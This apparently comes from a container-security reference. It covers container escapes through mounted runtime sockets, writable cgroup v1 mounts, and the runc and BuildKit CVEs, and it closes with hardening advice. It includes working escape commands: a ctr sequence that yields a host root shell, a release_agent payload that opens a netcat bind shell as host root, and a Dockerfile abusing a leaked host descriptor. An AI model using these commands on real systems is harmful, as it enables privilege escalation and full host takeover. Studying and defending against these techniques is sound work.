### Other Sensitive Host Sockets and Directories (2023-2025)
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
```text
/run/containerd/containerd.sock # containerd CRI socket
/var/run/crio/crio.sock # CRI-O runtime socket
/run/podman/podman.sock # Podman API (rootful or rootless)
/var/run/kubelet.sock # Kubelet API on Kubernetes nodes
/run/firecracker-containerd.sock # Kata / Firecracker
```
Attack example abusing a mounted **containerd** socket:
```bash
# inside the container (socket is mounted at /host/run/containerd.sock)
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash # full root shell on the host
```
A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
```bash
# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs" # triggers the empty-cgroup event
```
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writers capabilities and block this abuse.
### Mount-Related Escape CVEs (2023-2025)
* **CVE-2024-21626 runc “Leaky Vessels” file-descriptor leak**
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
```Dockerfile
FROM scratch
WORKDIR /proc/self/fd/4 # 4 == "/" on the host leaked by the runtime
CMD ["/bin/sh"]
```
* **CVE-2024-23651 / 23653 BuildKit OverlayFS copy-up TOCTOU**
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the containers rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
### Hardening Reminders (2025)
1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
